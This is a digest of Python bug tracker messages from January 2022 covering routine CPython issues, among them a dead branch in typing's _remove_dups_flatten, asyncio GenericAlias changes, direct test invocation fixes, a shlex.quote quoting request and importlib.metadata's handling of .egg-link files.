_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 05:16:13 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 10:16:13 +0000 Subject: [issue46470] `_remove_dups_flatten` in `typing.py` contains dead branch Message-ID: <1642846573.38.0.521672483974.issue46470@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's how `_remove_dups_flatten` is defined right now: ``` def _remove_dups_flatten(parameters): """An internal helper for Union creation and substitution: flatten Unions among parameters, then remove duplicates. """ # Flatten out Union[Union[...], ...]. params = [] for p in parameters: if isinstance(p, (_UnionGenericAlias, types.UnionType)): params.extend(p.__args__) elif isinstance(p, tuple) and len(p) > 0 and p[0] is Union: params.extend(p[1:]) else: params.append(p) return tuple(_deduplicate(params)) ``` Source: https://github.com/python/cpython/blob/38afeb1a336f0451c0db86df567ef726f49f6438/Lib/typing.py#L274 It is only used in `def Union():`, source: https://github.com/python/cpython/blob/38afeb1a336f0451c0db86df567ef726f49f6438/Lib/typing.py#L522-L523 ``` parameters = tuple(_type_check(p, msg) for p in parameters) parameters = _remove_dups_flatten(parameters) ``` But, notice that `_remove_dups_flatten` contains this branch: `elif isinstance(p, tuple) and len(p) > 0 and p[0] is Union:`. It is never executed, removing it does not change `test_typing` / `test_types` results. And it is reasonable: `_type_check` ensures that `parameters` can only contain types, not `tuple`s. Proof: ``` >>> from typing import Union, get_type_hints >>> Union[int, (Union, str, bool)] # TypeError: Union[arg, ...]: each arg must be a type. Got (typing.Union, , ). >>> class Some: ... x: 'Union[int, (Union, str, bool)]' ... >>> get_type_hints(Some) # TypeError: Union[arg, ...]: each arg must be a type. Got (typing.Union, , ). ``` Since it is pretty old, I guess the internal API has changed significantly and it is not needed anymore. I am going to send a PR to remove it. ---------- components: Library (Lib) messages: 411244 nosy: sobolevn priority: normal severity: normal status: open title: `_remove_dups_flatten` in `typing.py` contains dead branch type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 05:18:27 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 10:18:27 +0000 Subject: [issue46470] `_remove_dups_flatten` in `typing.py` contains dead branch In-Reply-To: <1642846573.38.0.521672483974.issue46470@roundup.psfhosted.org> Message-ID: <1642846707.33.0.906737756544.issue46470@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28965 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30780 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:04:42 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 11:04:42 +0000 Subject: [issue46471] use global singletons for single byte bytes objects in deepfreeze Message-ID: <1642849482.66.0.726035598886.issue46471@roundup.psfhosted.org> New submission from Kumar Aditya : By using global singletons for single byte bytes objects in deepfreeze, there is no need to generate c code for it so it reduces the size of generated c file and reduces memory use of the objects when they are allocated on the heap as now they are statically allocated and they are already immortal. ---------- components: Build messages: 411245 nosy: gvanrossum, kumaraditya303 priority: normal severity: normal status: open title: use global singletons for single byte bytes objects in deepfreeze type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:05:13 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 11:05:13 +0000 Subject: [issue46471] use global singletons for single byte bytes objects in deepfreeze In-Reply-To: <1642849482.66.0.726035598886.issue46471@roundup.psfhosted.org> Message-ID: <1642849513.55.0.00114068449789.issue46471@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +28966 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30781 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:06:43 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 11:06:43 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642849603.07.0.74099803245.issue46425@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 7.0 -> 8.0 pull_requests: +28967 pull_request: https://github.com/python/cpython/pull/30782 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:06:43 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 22 Jan 2022 11:06:43 +0000 Subject: [issue46383] _zoneinfo module_free has invalid function signature In-Reply-To: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> Message-ID: <1642849603.71.0.883205444441.issue46383@roundup.psfhosted.org> Change by Christian Heimes : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:06:48 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 11:06:48 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642849608.33.0.037735617463.issue46425@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28968 pull_request: https://github.com/python/cpython/pull/30783 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:05:59 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 11:05:59 +0000 Subject: [issue46383] _zoneinfo module_free has invalid function signature In-Reply-To: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> Message-ID: <1642849559.45.0.419732451475.issue46383@roundup.psfhosted.org> miss-islington added the comment: New changeset 3e7d06a1fa2102723314552b37410d11fefa928a by Kumar Aditya in branch '3.9': [3.9] bpo-46383: Fix signature of zoneinfo module_free function (GH-3? (GH-30611) https://github.com/python/cpython/commit/3e7d06a1fa2102723314552b37410d11fefa928a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:06:31 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 11:06:31 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642849591.23.0.243473227091.issue46425@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 5a5340044ca98cbe6297668d91bccba04b102923 by Nikita Sobolev in branch 'main': bpo-46425: fix direct invocation of `asyncio` tests (#30725) https://github.com/python/cpython/commit/5a5340044ca98cbe6297668d91bccba04b102923 ---------- nosy: +asvetlov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:16:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 Jan 2022 11:16:07 +0000 Subject: [issue46460] Doc/library/dis.rst lists `versionchange` twice for `WITH_EXCEPT_START` In-Reply-To: <1642783839.05.0.242453001499.issue46460@roundup.psfhosted.org> Message-ID: <1642850167.3.0.500673004967.issue46460@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 5d735241168cefe00be177ef4152955c100177ae by Nikita Sobolev in branch 'main': bpo-46460: remove duplicated `versionchanged` from `dis.rst` (GH-30752) https://github.com/python/cpython/commit/5d735241168cefe00be177ef4152955c100177ae ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:16:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 Jan 2022 11:16:37 +0000 Subject: [issue46460] Doc/library/dis.rst lists `versionchange` twice for `WITH_EXCEPT_START` In-Reply-To: <1642783839.05.0.242453001499.issue46460@roundup.psfhosted.org> Message-ID: <1642850197.25.0.182156953788.issue46460@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:26:33 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 11:26:33 +0000 Subject: [issue46340] DeprecationWarning emitted when running asyncio tests In-Reply-To: <1641890734.7.0.240445368406.issue46340@roundup.psfhosted.org> Message-ID: <1642850793.44.0.318769640401.issue46340@roundup.psfhosted.org> Change by Kumar Aditya : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:29:03 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 11:29:03 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ In-Reply-To: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> Message-ID: <1642850943.29.0.1406363392.issue46469@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28969 pull_request: https://github.com/python/cpython/pull/30784 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:29:19 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 11:29:19 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ In-Reply-To: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> Message-ID: <1642850959.36.0.812851681128.issue46469@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset ea5b96842e066623a53015d8b2492ed61a5baf96 by Kumar Aditya in branch 'main': bpo-46469: Make asyncio generic classes return GenericAlias (GH-30777) https://github.com/python/cpython/commit/ea5b96842e066623a53015d8b2492ed61a5baf96 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:41:42 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 11:41:42 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ In-Reply-To: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> Message-ID: <1642851702.91.0.683754899319.issue46469@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +28970 pull_request: https://github.com/python/cpython/pull/30785 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:47:44 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 11:47:44 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ In-Reply-To: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> Message-ID: <1642852064.98.0.170025472674.issue46469@roundup.psfhosted.org> Change by Kumar Aditya : ---------- versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:54:10 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 11:54:10 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642852450.94.0.480633715244.issue46425@roundup.psfhosted.org> miss-islington added the comment: New changeset 3c4a3745b900e748f99e80fc3728b534e857d1ff by Miss Islington (bot) in branch '3.9': bpo-46425: fix direct invocation of `asyncio` tests (GH-30725) https://github.com/python/cpython/commit/3c4a3745b900e748f99e80fc3728b534e857d1ff ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 07:28:57 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 12:28:57 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ In-Reply-To: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> Message-ID: <1642854537.31.0.0304176573495.issue46469@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 90e2998db78cd15e45b3c82f6360ac8841e03945 by Miss Islington (bot) in branch '3.10': [3.10] bpo-46469: Make asyncio generic classes return GenericAlias (GH-30777) (#30784) https://github.com/python/cpython/commit/90e2998db78cd15e45b3c82f6360ac8841e03945 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 07:29:54 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 12:29:54 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642854594.68.0.577894648928.issue46425@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 6111d5dee2b24916ff95dba56efc569396a31851 by Miss Islington (bot) in branch '3.10': bpo-46425: fix direct invocation of `asyncio` tests (GH-30725) (#30782) https://github.com/python/cpython/commit/6111d5dee2b24916ff95dba56efc569396a31851 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 07:31:19 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 12:31:19 +0000 Subject: [issue46468] http.server documentation missing default value for port In-Reply-To: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> Message-ID: <1642854679.47.0.145894606652.issue46468@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset c8a536624e8f5d6612e3c275c5b19592583a8cf8 by Jelle Zijlstra in branch 'main': bpo-46468: document that "-m http.server" defaults to port 8000 (GH-30776) https://github.com/python/cpython/commit/c8a536624e8f5d6612e3c275c5b19592583a8cf8 ---------- nosy: +asvetlov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 07:31:27 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 12:31:27 +0000 Subject: [issue46468] http.server documentation missing default value for port In-Reply-To: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> Message-ID: <1642854687.46.0.853652495335.issue46468@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28971 pull_request: https://github.com/python/cpython/pull/30786 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 07:48:47 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 12:48:47 +0000 Subject: [issue46468] http.server documentation missing default value for port In-Reply-To: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> Message-ID: <1642855727.18.0.827041997979.issue46468@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28972 pull_request: https://github.com/python/cpython/pull/30787 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 07:52:29 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 12:52:29 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ In-Reply-To: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> Message-ID: <1642855949.98.0.217540008313.issue46469@roundup.psfhosted.org> miss-islington added the comment: New changeset 6ed874f8c59cc6c01d9663bad2f4bed8dc1c6109 by Kumar Aditya in branch '3.9': [3.9] bpo-46469: Make asyncio generic classes return GenericAlias (GH-30777) (GH-30785) https://github.com/python/cpython/commit/6ed874f8c59cc6c01d9663bad2f4bed8dc1c6109 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 08:42:11 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 13:42:11 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642858931.58.0.598572735375.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28973 pull_request: https://github.com/python/cpython/pull/30788 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:08:50 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 14:08:50 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642860530.9.0.684958981689.issue46417@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 7.0 -> 8.0 pull_requests: +28974 pull_request: https://github.com/python/cpython/pull/30789 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:08:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 14:08:54 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642860534.19.0.0804614288415.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset f1c6ae3270913e095d24ae13ecf96f5a32c8c503 by Victor Stinner in branch 'main': bpo-46417: Fix race condition on setting type __bases__ (GH-30788) https://github.com/python/cpython/commit/f1c6ae3270913e095d24ae13ecf96f5a32c8c503 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:08:56 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 14:08:56 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642860536.02.0.587357402219.issue46417@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28975 pull_request: https://github.com/python/cpython/pull/30790 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:10:04 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 14:10:04 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ In-Reply-To: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> Message-ID: <1642860604.88.0.945112530155.issue46469@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:13:11 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 14:13:11 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642860791.65.0.107927057194.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28976 pull_request: https://github.com/python/cpython/pull/30791 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:28:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 14:28:57 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642861737.13.0.832052334149.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset acda9f3b90c33e4020237cb9e5c676efb38f7847 by Miss Islington (bot) in branch '3.10': bpo-46417: Fix race condition on setting type __bases__ (GH-30788) (GH-30789) https://github.com/python/cpython/commit/acda9f3b90c33e4020237cb9e5c676efb38f7847 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:28:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 14:28:57 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642861737.13.0.832052334149.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset acda9f3b90c33e4020237cb9e5c676efb38f7847 by Miss Islington (bot) in branch '3.10': bpo-46417: Fix race condition on setting type __bases__ (GH-30788) (GH-30789) https://github.com/python/cpython/commit/acda9f3b90c33e4020237cb9e5c676efb38f7847 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:28:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 14:28:57 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642861737.31.0.816764982619.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset f1796f29478f08f34e0c30a060622c0b2d843e2c by Miss Islington (bot) in branch '3.9': bpo-46417: Fix race condition on setting type __bases__ (GH-30788) (GH-30790) https://github.com/python/cpython/commit/f1796f29478f08f34e0c30a060622c0b2d843e2c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:30:53 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 14:30:53 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642861853.67.0.0088512293898.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28977 pull_request: https://github.com/python/cpython/pull/30792 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:35:44 2022 From: report at bugs.python.org (I_love_study) Date: Sat, 22 Jan 2022 14:35:44 +0000 Subject: [issue46472] A option that choose between single quote and double quote in shlex.quote Message-ID: <1642862144.42.0.109512235386.issue46472@roundup.psfhosted.org> New submission from I_love_study <1450069615 at qq.com>: shlex.quote always use single quote but in some shell (like Cmd on Windows), single quote cannot be recognized as a shell-escaped string, only double quote can. So I think a option that can choose between single quote and double quote is better ---------- components: Library (Lib) messages: 411258 nosy: I-love-study priority: normal severity: normal status: open title: A option that choose between single quote and double quote in shlex.quote type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:16:44 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 15:16:44 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642864604.5.0.544713324391.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28978 pull_request: https://github.com/python/cpython/pull/30793 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:18:14 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 15:18:14 +0000 Subject: [issue46396] Typing: test invalid usages of `Concatenate` In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1642864694.17.0.603478677915.issue46396@roundup.psfhosted.org> Jelle Zijlstra added the comment: Let's change typing_extensions.py too in the same way. Speaking of typing-extensions, it'd be great if someone could review https://github.com/python/typing/pull/963 :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:25:59 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sat, 22 Jan 2022 15:25:59 +0000 Subject: [issue29882] Add an efficient popcount method for integers In-Reply-To: <1490203842.58.0.276315183014.issue29882@psf.upfronthosting.co.za> Message-ID: <1642865159.19.0.864798713968.issue29882@roundup.psfhosted.org> Change by Mark Dickinson : ---------- pull_requests: +28979 pull_request: https://github.com/python/cpython/pull/30794 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:31:30 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 15:31:30 +0000 Subject: [issue46468] http.server documentation missing default value for port In-Reply-To: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> Message-ID: <1642865490.15.0.142150591249.issue46468@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:31:48 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 15:31:48 +0000 Subject: [issue46468] http.server documentation missing default value for port In-Reply-To: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> Message-ID: <1642865508.53.0.605450206658.issue46468@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset b4088801db4b4f56b177b1c01dd873c7922e6a9f by Miss Islington (bot) in branch '3.9': bpo-46468: document that "-m http.server" defaults to port 8000 (GH-30776) (#30786) https://github.com/python/cpython/commit/b4088801db4b4f56b177b1c01dd873c7922e6a9f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:31:55 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 15:31:55 +0000 Subject: [issue46468] http.server documentation missing default value for port In-Reply-To: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> Message-ID: <1642865515.87.0.605053021618.issue46468@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 923c994400b3f1c67f95d25c703e131890a16912 by Miss Islington (bot) in branch '3.10': bpo-46468: document that "-m http.server" defaults to port 8000 (GH-30776) (#30787) https://github.com/python/cpython/commit/923c994400b3f1c67f95d25c703e131890a16912 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:32:14 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 15:32:14 +0000 Subject: [issue46468] http.server documentation missing default value for port In-Reply-To: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> Message-ID: <1642865534.48.0.696265974295.issue46468@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- versions: +Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:51:35 2022 From: report at bugs.python.org (Ben) Date: Sat, 22 Jan 2022 15:51:35 +0000 Subject: [issue46473] importlib.metadata does not honor .egg-link files Message-ID: <1642866695.44.0.0158808899685.issue46473@roundup.psfhosted.org> New submission from Ben : When installing a package using --editable, pip creates a .egg-link file in your site-packages dir that points to the .egg-info metadata that by default exists along side the source that it was installed from. This worked just fine with the older pkg_resources package. However, the newer importlib.metadata does not seem to be aware of .egg-link files at all. The only solution is to include the source dir that contains the .egg-info metadata into your PYTHONPATH, which sort of defeats the purpose of having the .egg-link pointer in the first place. ---------- components: Distutils, Library (Lib) messages: 411262 nosy: dstufft, eric.araujo, onlinespending priority: normal severity: normal status: open title: importlib.metadata does not honor .egg-link files type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:53:49 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 15:53:49 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642866829.53.0.0806230120045.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 2d03b73cc9c0dada3243eab1373a46dbd98d24a0 by Victor Stinner in branch 'main': bpo-46417: remove_subclass() clears tp_subclasses (GH-30793) https://github.com/python/cpython/commit/2d03b73cc9c0dada3243eab1373a46dbd98d24a0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 11:03:17 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 16:03:17 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642867397.06.0.919531129366.issue46425@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 101a184d49756043a0c39dde6eca08b1891137a2 by Nikita Sobolev in branch 'main': bpo-46425: fix direct invocation of `test_traceback` (GH-30746) https://github.com/python/cpython/commit/101a184d49756043a0c39dde6eca08b1891137a2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 11:04:00 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 16:04:00 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642867440.82.0.576424061259.issue46425@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 55f4ec460ee6dcffc26180fd982ad89083c9acb1 by Nikita Sobolev in branch 'main': bpo-46425: use absolute imports in `test_sqlite3` (GH-30676) https://github.com/python/cpython/commit/55f4ec460ee6dcffc26180fd982ad89083c9acb1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 11:05:08 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 16:05:08 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642867508.81.0.935683900006.issue46425@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 57316c52bae5d6420f5067f3891ec328deb97305 by Nikita Sobolev in branch 'main': bpo-46425: fix direct invocation of `test_importlib` (GH-30682) https://github.com/python/cpython/commit/57316c52bae5d6420f5067f3891ec328deb97305 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 11:05:47 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 22 Jan 2022 16:05:47 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642867547.35.0.0707327962689.issue46425@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 1f8014c5b4ea7acee069ca453f6fbcad5990ebf0 by Nikita Sobolev in branch 'main': bpo-46425: fix direct invocation of `test_fileutils` and `test_zoneinfo` (GH-30792) https://github.com/python/cpython/commit/1f8014c5b4ea7acee069ca453f6fbcad5990ebf0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:12:12 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 17:12:12 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python 